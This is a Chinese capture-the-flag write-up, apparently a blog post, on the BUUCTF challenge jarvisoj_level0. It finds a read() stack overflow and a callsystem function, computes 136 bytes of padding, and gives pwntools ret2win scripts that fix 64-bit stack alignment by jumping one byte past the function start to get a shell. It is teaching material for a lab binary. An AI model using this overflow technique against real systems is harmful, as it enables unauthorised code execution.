buuctf之jarvisoj_level0

一、查看属性

首先还是必要的查看属性环节:

可以知道该文件是一个x86架构下的64位小段ELF程序,开启了栈不可执行(NX)保护,ret2shellcode是不行的

先执行看看

二、静态分析

首先是主函数,这里是有一个输出还是write函数,这里的vulnerable_function函数是必进的,主要功能还是它在实现

进入功能函数可以看到一个read,溢出函数找到了

接下来找找可利用的函数,找到了callsystem函数

其地址,也就是我们最终要返回的地址:0x400596

三、动态分析

我们动态调试一下这个程序,这里我的断点下在了main

然后“n”到功能函数“si”步入,继续“n”到read函数,然后输入几个‘a’:

产看栈空间布局

可以计算出来我们需要填充的字节是136个字节

写程序利用,但是发现问题,利用不了,这里想到了64位程序特有的栈对齐机制,具体原理请看:

用简单的例子讲64位程序的栈空间对齐-优快云博客

from pwn import *

io = process('./level0')
#io = gdb.debug('./level0','break *0x4005a6')

system_addr = 0x400596
payload = 'a' * 136 + p64(system_addr )
io.sendline(payload)
io.interactive()

我们跟进调试一下(只需要把上面代码的io换成被注释的即可):

果然,在调用system时,rsp的地址是以8结尾,没有栈对齐,这里我们只需要在调用sys之前对栈进行一次读写即可

有两种方式:

1、可以看到callsystem函数的第一句是压栈,我们跳过它执行下一句的话,就相当于少压一次栈,这样我们执行system时rsp的地址就会从8变成0

2、找这个程序的ret_gadget,这样我们在‘a’和system_addr之间加一个ret,相当于既可以对栈弹出一次,同时是将system_addr弹出到rip寄存器中

这里我们选择第一种:

from pwn import *

io = process('./level0')
#io = gdb.debug('./level0','break *0x4005a6')

system_addr = 0x400596
payload = 'a' * 136 + p64(system_addr + 1)
io.sendline(payload)
io.interactive()

再次执行:

成功

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值